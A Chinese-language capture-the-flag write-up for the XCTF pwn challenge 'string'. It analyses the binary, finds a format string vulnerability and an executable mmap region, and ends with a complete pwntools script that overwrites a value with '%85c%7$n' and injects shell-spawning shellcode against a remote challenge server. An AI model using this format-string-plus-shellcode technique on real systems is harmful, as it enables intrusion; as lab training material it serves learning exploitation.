string(xctf)

0x0 程序保护和流程

保护:

string(xctf)_第1张图片

流程:

main()

string(xctf)_第2张图片

将v3变量的地址赋值给v4,输出v3和v3+4的地址。调用sub_400D72(v4)。

sub_400D72()

string(xctf)_第3张图片

如果名字长度小于12就分别调用三个函数。

sub_400A7D()

string(xctf)_第4张图片

如果输入east就会返回,否则就会进入sub_4009DD(),然后无论如何都会结束程序。

sub_400BB9()

string(xctf)_第5张图片

输入east之后就会进入这个函数。可以看到有一个格式字符串漏洞。

sub_400CA6()

string(xctf)_第6张图片

sub_400BB9()返回之后会进入这个函数并且这个函数还有一个参数。分析可知这个参数指向的地址是main函数中*v3指向的地址。当*v3==*v3+4时会调用一个mmap()函数通过查阅相关资料可以发现这个函数给我们分配了一个长度为0x1000的内存空间,并且这个空间是可以执行代码的。之后还调用通过函数指针访问这个地址。也就是说会执行这段内存空间中的代码。

0x01 利用过程

在main()函数中将*v3赋值为68*v3+4赋值为85,要想修改*v3指向地址的值只能通过格式化字符串漏洞来修改。所以先确定偏移量。

可以看到偏移量是8,偏移量为7处为上一次输入的数值。因为在主函数中给出了*v3的地址,所以只需要将*v3的地址在格式化字符串之前输入就可以通过%85c%7$n修改*v3的值。最后输入一段shellcode到mmap()分配的内存空间中就可以完成getshell。

0x2 exp

from pwn import *
context(arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())
# sh=process('./a')
sh=remote('124.126.19.106','41801')
sh.recvuntil('secret[0] is ')
string=sh.recvuntil('\n')
secret0_addr=int(string[:-1],16)
sh.recv()
sh.sendline('whitehand')
sh.recv()
sh.sendline('east')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline(str(secret0_addr))
sh.recv()
payload='%85c%7$n'
sh.sendline(payload)
sh.recv()
sh.sendline(shellcode)
sh.interactive()

你可能感兴趣的:(xctf(pwn新手区))